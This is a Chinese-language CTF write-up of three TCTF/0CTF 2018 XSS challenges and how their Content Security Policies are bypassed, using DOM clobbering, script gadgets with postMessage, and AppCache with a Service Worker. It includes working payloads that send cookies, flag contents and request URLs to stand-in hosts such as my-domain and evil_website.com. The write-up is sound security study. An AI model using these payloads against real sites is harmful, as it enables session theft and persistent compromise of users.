作者:LoRexxar'@知道創宇404實驗室
剛剛4月過去的TCTF/0CTF2018一如既往的給了我們驚喜,其中最大的驚喜莫過于多道xss中Bypass CSP的題目,其中有很多應用于現代網站的防御思路。
其中bl0g提及了通過變量覆蓋來調用已有代碼動態插入Script標簽繞過strict-dynamicCSP的利用方式。
h4xors.club2則是通過Script Gadgets和postmessage中間人來實現利用。
h4x0rs.space提及了Appcache以及Service worker配合jsonp接口實現的利用思路。
其中的很多利用思路非常精巧,值得研究。所以我花費了大量時間復現其中題目的思路以及環境,希望能給讀者帶來更多東西...
bl0g
題目分析
An extremely secure blog
Just focus on the static files. plz do not use any scanner, or your IP will be blocked.
很有趣的題目,整個題的難點在于利用上
站內的功能都是比較常見的xss功能
- new 新生成文章
- article/xx 查看文章/評論
- submit 提交url (start with http://202.120.7.197:8090/)
- flag admin可以查看到正確的flag
還有一些隱藏的條件
1、CSP
Content-Security-Policy:
script-src 'self' 'unsafe-inline'
Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
挺有趣的寫法,經過我的測試,兩個CSP分開寫,是同時生效并且單獨生效的,也就是與的關系。
換個說法就是,假設我們通過動態生成script標簽的方式,成功繞過了第二個CSP,但我們引入了<script src="hacker.website">,就會被第一條CSP攔截,很有趣的技巧。
從CSP我們也可以簡單窺得一些利用思路,base-uri 'none'代表我們沒辦法通過修改根域來實現攻擊,default-src 'none'這其中包含了frame-src,這代表攻擊方式一定在站內實現,script-src的雙限制代表我們只能通過<script>{eval_code}的方式來實現攻擊,讓我們接著往下看。
2、new中有一個字段是effect,是設置特效的
POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
title=a&content=a&effect=nest
effect字段會插入到頁面中的<input type="hidden" id="effect" value="{effect_value}">,但這里實際上是沒有任何過濾的,也就是說我們可以通過閉合這個標簽并插入我們想要的標簽,需要注意的是,這個點只能插入70個字符。
3、login?next=這個點可以存在一個任意跳轉,通過這個點,我們可以繞過submit的限制(submit的maxlength是前臺限制,可以隨便跳轉
4、站內的特效是通過jqery的append引入的,在article.js這個文件中。
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});
effects在config.js中被定義。
回顧上面的幾個條件,我們可以簡單的整理思路。
在不考慮0day的情況下,我們唯有通過想辦法通過動態生成script標簽,通過sd CSP這個點來繞過
首先我們觀察xss點周圍的html結構

在整站不開啟任何緩存的情況下,通過插入標簽的方式,唯一存在一種繞過方式就是插入<script a="
這種插入方式,如果插入點在一個原頁面的script標簽前的話,有幾率吃掉下一個script標簽的nonce屬性,舉個例子:
<script a="
<script nonce="testtt">...
瀏覽器有一定的容錯能力,他會補足不完整的標簽
=====>
<script a="<script" nonce="test">...
但這個操作在這里并不適用,因為中間過多無用標簽,再加上即使吞了也不能有什么辦法控制后面的內容,所以這里只有一種繞過方式就是dom xss。
稍微翻翻可以發現,唯一的機會就在這里
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});
如果我們可以覆蓋effects變量,那我們就可以向body注入標簽了,這里需要一點小trick。
在js中,對于特定的form,iframe,applet,embed,object,img標簽,我們可以通過設置id或者name來使得通過id或name獲取標簽
也就是說,我們可以通過effects獲取到<form name=effects>這個標簽。同理,我們就可以通過插入這個標簽來注冊effects這個變量。
可如果我們嘗試插入這個標簽后,我們發現插入的effects在接下來的config.js中被覆蓋了。
這時候我們回到剛才提到的特性,瀏覽器有一定的容錯能力,我們可以通過插入<script>,那么這個標簽會自動閉合后面config.js的</script>,那么中間的代碼就會被視為js代碼,被CSP攔截。

我們成功的覆蓋了effects變量,緊接著我們需要覆蓋effects[$("#effect").val()],這里我們選擇id屬性(這里其實是為了id會使用兩次,可以更省位數),
所以我們嘗試傳入
effect=id"><form name=effects id="<script>alert(1)</script>"><script>

成功執行
接下來的問題就在于怎么構造獲取flag了,這里最大的問題在于怎么解決位數不夠的問題,我們可以簡單計算一下。
上面的payload最簡化可以是
id"><form name=effects id="<script>"><script>
一共有45位,我們可以操作的位數只有25位。在有限的位數下我們需要獲取flag頁面的內容,并返回回來,我一時間沒想到什么好辦法。
下面寫一種來自@超威藍貓的解法,非常有趣的思路,payload大概是這樣的
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
通過jquery get獲取flag內容,通過箭頭函數將返回賦值給window.name,緊接著,我們需要想辦法獲取這里的window.name。
這里用到一個特殊的跨域操作
http://www.cnblogs.com/zichi/p/4620656.html
這里用到了一個特殊的特性,就是window.name不跟隨域變化而變化,通過window.name我們可以緩存原本的數據。
利用思路
完整payload
<html>
</html>
<script>
var i=document.createElement("iframe");
i.src="http://202.120.7.197:8090/article/3503";
i.id="a";
var state = 0;
document.body.appendChild(i);
i.onload = function (){
if(state === 1) {
var c = i.contentWindow.name;
location.href="http://xx?c="+c;
} else if(state === 0) {
state = 1;
i.contentWindow.location = './index.html';
}
}
</script>
然后通過login?next=這里來跳轉到這里,成功理順
最后分享一個本環境受限的腦洞想法(我覺得蠻有意思的
這個思路受限于當前頁面CSP沒有unsafe-eval,剛才說到window.name不隨域變化而變化,那么我們傳入payload
id"><form name=effects id="<script>eval(name)"><script>
然后在自己的服務器上設置
<script>
window.name="alert(1)";
location.href="{article_url}";
</script>
這樣我們就能設置window.name了,如果允許eval的話,就可以通過這種方式繞過長度限制。
h4xors.club2
一個非常有意思的題目,做這題的時候有一點兒鉆牛角尖了,后面想來有挺多有意思的點。先分享一個非常秀的非預期解wp。
http://www.wupco.cn/?p=4408&from=timeline
在分享一個寫的比較詳細的正解
https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed
下面順著思路一起來看看這題。
題目分析
Get document .cookie of the administartor.
h4x0rs.club
backend_www got backup at /var/www/html.tar.gz 這個從頭到尾都沒找到
Hint: Get open-redirect first, lead admin to the w0rld!
站內差不多是一個答題站點,用了比較多的第三方庫,站內的功能比較有限。
- profile.php可以修改自己個人信息
- user.php/{id}可以訪問自己的個人信息
- report.php沒什么可說的,向后臺發送請求,需要注意的是,直接發送user.php,不能控制
- index.php接受msg參數
還有一些特別的點
1、user.php頁面的CSP為
Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3ac7833372f4a91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;
非常嚴格,只允許nonce CSP的script解析
index.php頁面的CSP為
Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';
允許sd CSP動態執行script(這里的出發點可能是index.php是加載游戲的地方,為了適應CSP,必須加入strict-dynamic。)
2、站內有兩個xss點
第一個是user.php的profile,儲存型xss,沒有任何過濾。
第二個是index.php的msg參數,反射性xss,沒有任何過濾,但是受限于xss auditor
順著思路向下
因為user.php頁面的CSP非常嚴格,我們需要跳出這個嚴格的地方,于是可以通過插入meta標簽,跳轉到index.php,在這里進一步操作
<meta http-equiv="refresh" content="5;https://h4x0rs.club/game/?msg=Welcome">
當然這里我們也可以利用儲存型xss和頁面內的一段js來構造a標簽跳轉。
在user.php的查看profile頁面,我們可以看到
if(location.hash.slice(1) == 'report'){
document.getElementById('report-btn').click();
}
當我們插入
<a href='//xxx.xx/evil.html' id=report-btn>
并請求
/game/user.php/ddog%23report
那么這里的a標簽就會被點擊,同樣可以實現跳轉。
接著我們探究index.php,這里我們的目標就是怎么能夠繞過sd CSP了,當時的第一個想法是<base>,通過修改當前頁面的根域,我們可以加載其他域的js(聽起來很棒!
可惜如果我們請求
https://h4x0rs.club/game/?msg=<base href="http://xxxx">
會被xss auditor攔截,最后面沒辦法加/">,一個非常有趣的情況出現了
https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16

最后的</h1>中的/被轉換成了路徑,前面的左尖括號被拼入了域名中,后面的右尖括號閉合標簽...一波神奇的操作...
不過這里因為沒法處理尖括號域名的事情,所以置于后話不談。
我們繼續討論繞過sd CSP的思路,這種CSP已知只有一種辦法,就是通過現在已有的js代碼構造xss,這是一種在去年blackhat大會上google團隊公布的CSP Bypass技巧,叫做Script Gadgets。
這里的漏洞點和ppt中的思路不完全一致,但核心思路一樣,都是要利用已有js代碼中的一些點來構造利用。
站內關于游戲的代碼在app.js中的最下面,加載了client.js
function load_clientjs(){
var s = document.createElement('script');
document.body.appendChild(s);
s.defer = true;
s.src = '/game/javascripts/client.js';
}
client.js中的代碼不多,有一些值得注意的點,就是客戶端是通過postMessage和服務端交互的。

而且所有的交互都沒有對來源的校驗,也就是可以接受任何域的請求。
ps: 這是一個呆子不開口在2016年烏云峰會上提到的攻擊手法,通過postMessage來偽造請求
這樣我們可以使用iframe標簽來向beckend頁面發送請求,通過這種方式來控制返回的消息。
這里我盜用了一張別的wp中的圖,來更好的描述這種手法
原圖來自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

這里我們的exploit.html充當了中間人的決賽,代替客戶端向服務端發送請求,來獲取想要的返回
這里我們可以關注一下client.js中的recvmsg

如果我們能控制data.title,通過這里的dom xss,我們可以成功的繞過index.php下的sd CSP限制。
值得注意的是,如果我們試圖通過index.php頁面的反射性xss來引入iframe標簽的話,如果iframe標簽中的鏈接是外域,會被xss auditor攔截。
所以這里需要用user.php的儲存型xss跳出。這樣利用鏈比較完整了。
利用思路
1、首先我們需要注冊兩個賬號,這里使用ddog123和ddog321兩個賬號。
2、在ddog321賬號中設置profile公開,并設置內容為
<meta http-equiv="refresh" content="0;https://evil_website.com">
3、在evil_website.com(這里有個很關鍵的tips,這里只能使用https站,否則會爆引入混合數據,阻止訪問)的index.html向backend發送請求,這里的js需要設置ping和badges,在badges中設置title來引入js
<iframe name=game src='//backend.h4x0rs.club/backend_www/'></iframe>
<script>
window.addEventListener("message", receiveMessage, false);
var TOKEN,nonce;
function receiveMessage(event)
{
console.log("msg");
data = event.data;
if(data.cmd =='ping'){
TOKEN = data.TOKEN;
nonce = data.nonce;
game.postMessage(data,"*");
}
if(data.cmd =='badges'){
console.log('badges');
console.log(data);
TOKEN = data.TOKEN;
data.level = 1;
data.title = '\'"><script src="//evil_website.com/1.js" defer></scr'+'ipt>';
console.log(data.title);
// data.title = '\'"><meta http-equiv="set-cookie" content="HolidayGlaze=123;">';
game.postMessage(data,"*");
}
}
4、在ddog123賬戶中設置profile為
<meta http-equiv="refresh" content="0;https://h4x0rs.club/game/?msg=1%3Ciframe%20name=game_server%20src=/game/user.php/ddog321%20%3E%3C/iframe%3E">
5、最后在1.js中加入利用代碼,發送report給后臺等待返回即可。
h4x0rs.space
TCTF/0CTF中的壓軸題目,整個題目的利用思路都是近幾年才被人們提出來的,這次比賽我也是第一次遇到環境,其中關于Appcache以及Service Worker的利用方式非常有趣,能在特殊環境下起到意想不到的作用。
下面的Writeup主要來自于
https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803
題目分析
I've made a blog platform let you write your secret.
Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?
Get document. cookie of the admin.
h4x0rs.space
Hint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GL
Hint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.
Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.
Last Hint: CACHE
先簡單說一下整個題目邏輯
1、站內是一個生成文章的網站,可以輸入title,content,然后可以上傳圖片,值得注意的是,這里的所有輸入都會被轉義,生成的文章內容不存在xss點。
2、站內開啟CSP,而且是比較嚴格的nonce CSP
Content-Security-Policy:
default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src *; connect-src https://h4x0rs.space/blog/report.php;
3、文章內引入了類似短標簽的方式可以插入部分標簽,例如[img]test[/img]。
值得注意的是這里有一個特例
case 'instagram':
var dummy = document.createElement('div');
dummy.innerHTML = `<iframe width="0" height="0" src="" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>`; // dummy object since f.frameborder=0 doesn't work.
var f = dummy.firstElementChild;
var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php';
if(e['name'] == 'youtube'){
f.width = 500;
f.height = 330;
f.src = base+'?embed='+found[1]+'&p=youtube';
} else if(e['name'] == 'instagram') {
f.width = 350;
f.height = 420;
f.src = base+'?embed='+found[1]+'&p=instagram';
}
var d_iframe = document.createElement('div');
d_iframe.id = 'embed'+iframes_delayed.length; // loading iframe at same time may cause overload. delay it.
iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html */ );
o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML );
break;
如果插入[ig]123[/ig]就會被轉為引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram的iframe。
值得注意的是,embed.php中的embed這里存在反射性xss點,只要閉合注釋就可以插入標簽,遺憾的是這里仍然會被CSP限制。
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--><script>alert()</script>&p=instagram
4、站內有一個jsonp的接口,但不能傳尖括號,后面的文章內容什么的也沒辦法逃逸雙引號。
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d
5、圖片上傳的接口可以上傳SVG,圖片在站內同源,并且不受到CSP的限制,我們可以在SVG中執行js代碼,來繞過CSP,而重點就是,我們只能提交blog id,我們需要找到一個辦法來讓它執行。
AppCache 的利用
在提示中,我們很明顯可以看到cache這個提示,這里的提示其實是說,利用appcache來加載svg的方式。
在這之前,我們可能需要了解一下什么是Appcache。具體可以看這篇文章。
https://www.html5rocks.com/en/tutorials/appcache/beginner/
這是一種在數年前隨H5誕生的一種可以讓開發人員指定瀏覽器緩存哪些文件以供離線訪問,在緩存情況下,即使用戶在離線狀態刷新頁面也同樣不會影響訪問。
Appcache的開啟方法是在html標簽下添加manifest屬性
<html manifest="example.appcache">
...
</html>
這里的example.appcache可以是相對路徑也可以是絕對路徑,清單文件的結構大致如下:
CACHE MANIFEST
# 2010-06-18:v2
# Explicitly cached 'master entries'.
CACHE:
/favicon.ico
index.html
stylesheet.css
images/logo.png
scripts/main.js
# Resources that require the user to be online.
NETWORK:
login.php
/myapi
http://api.twitter.com
# static.html will be served if main.py is inaccessible
# offline.jpg will be served in place of all images in images/large/
# offline.html will be served in place of all other .html files
FALLBACK:
/main.py /static.html
images/large/ images/offline.jpg
*.html /offline.html
CACHE: 這是條目的默認部分。系統會在首次下載此標頭下列出的文件(或緊跟在 CACHE MANIFEST 后的文件)后顯式緩存這些文件。
NETWORK: 此部分下列出的文件是需要連接到服務器的白名單資源。無論用戶是否處于離線狀態,對這些資源的所有請求都會繞過緩存。可使用通配符。
FALLBACK: 此部分是可選的,用于指定無法訪問資源時的后備網頁。其中第一個 URI 代表資源,第二個代表后備網頁。兩個 URI 必須相關,并且必須與清單文件同源。可使用通配符。
這里有一點兒很重要,關于Appcache,您必須修改清單文件本身才能讓瀏覽器刷新緩存文件。
去年@filedescriptor公開了一個利用Appache來攻擊沙箱域的方法。
這里正是使用了Appcache的FALLBACK文件,我們可以通過上傳惡意的svg文件,形似
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch(`https://my-domain/?${document.cookie}`)</script>
</svg>
然后將manifest設置為相對目錄的svg文件路徑,形似
<!-- DEBUG
embed_id: --><html manifest=/blog/untrusted_files/[SVG_MANIFEST].svg>
-->
...
在這種情況下,如果我們能觸發頁面500,那么頁面就會跳轉至FALLBACK指定頁面,我們成功引入了一個任意文件跳轉。
緊接著,我們需要通過引入[ig]a#[/ig],通過拼接url的方式,這里的#會使后面的&instagram無效,使頁面返回500錯誤,緩存就會將其引向FALLBACK設置頁面。
這里的payload形似
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
這里之所以會引入多個a#是因為緩存中FALLBACK的加載時間可能慢于單個iframe的加載時間,所以需要引入多個,保證FALLBACK的生效。
最后發送文章id到后臺,瀏覽器訪問文章則會觸發下面的流程。
上面的文章會轉化為
<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
...
上面的iframe標簽會引入我們提前上傳好的manfiest文件
CACHE MANIFEST
FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
并將FALLBACK設置為/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
然后下面的iframe標簽會訪問/blog/untrusted_files/embed/embed.php?embed=a并處罰500錯誤,跳轉為提前設置好的svg頁面,成功逃逸CSP。
當我們第一次讀取到document.cookie時,返回為
OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)
大致意思是說,bot會在5秒后訪問flag頁面,我們需要獲取這個id。
Service Worker的利用
仔細回顧站內的功能,根據出題人的意思,這里會跳轉到形似https://h4x0rs.space/blog/[blog_post_id]的url,通過Appcache我們只能控制/blog/untrusted_files/這個目錄下的緩存,這里我們需要控制到另一個選項卡的狀態。
在不具有窗口引用辦法的情況下,這里只有使用Service Worker來做持久化利用。
關于Service Worker忽然發現以前很多人提到過,但好像一直都沒有被重視過。這種一種用來替代Appcache的離線緩存機制,他是基于Web Worker的事件驅動的,他的執行機制都是通過新啟動線程解決,比起Appcache來說,它可以針對同域下的整站生效,而且持續保存至瀏覽器重啟都可以重用。
下面是兩篇關于service worker的文檔:
https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn
https://www.w3.org/TR/service-workers/
使用Service Worker有兩個條件:
1、Service Worker只生效于https://或者http://localhost/下
2、其次你需要瀏覽器支持,現在并不是所有的瀏覽器都支持Service Worker。
當我們滿足上述條件,并且有一個xss利用點時,我們可以嘗試構造一個持久化xss利用點,但在利用之前,我們需要更多條件。
1、如果我們使用navigator.serviceWorker.register來注冊js,那么這里請求的url必須同源而且請求文件返回頭必須為text/javascript, application/x-javascript, application/javascript中的一種。
2、假設站內使用onfetch接口獲取內容,我們可以通過hookfetch接口,控制返回來觸發持久化控制。
對于第一種情況來說,或許我們很難找到上傳js的接口,但不幸的是,jsonp接口剛好符合這樣的所有條件~~
具體的利用方式我會額外在寫文分析這個,詳情可以看這幾篇文章:
http://drops.xmd5.com/static/drops/web-10798.html
https://speakerdeck.com/masatokinugawa/pwa-study-sw
最后的這個ppt最詳細,但他是日語的,讀起來非常吃力。
這里回到題目,我們可以注意到站內剛好有一個jsonp接口
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d
值得注意的是,這里的callback接口有字數限制,這里可以通過和title的配合,通過注釋來引入任何我們想要的字符串。
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});
這里需要注意的是,在serviceWorker線程中,我們并不能獲取所有的對象,所以這里直接獲取當前請求的url。
完整的利用鏈如下:
1、將*/onfetch=e=>{fetch(https://my-domain/?${e.request.url})}//寫入文章內,并保留下文章id。
2、構造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});
3、上傳svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg
<svg xmlns="http://www.w3.org/2000/svg">
<script>navigator.serviceWorker.register('/blog/pad.php?callback=/*&id={sw_post_id}')</script>
</svg>
4、構造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg
CACHE MANIFEST
FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg
5、構造embed頁面url
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube
6、最后構造利用文章內容
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
7、發送post id即可
REF
-
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
-
https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed
-
https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club
-
https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803
-
https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.space
-
https://github.com/l4wio/CTF-challenges-by-me/blob/master/0ctf_quals-2018/h4x0rs.space/solve.py
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/574/
暫無評論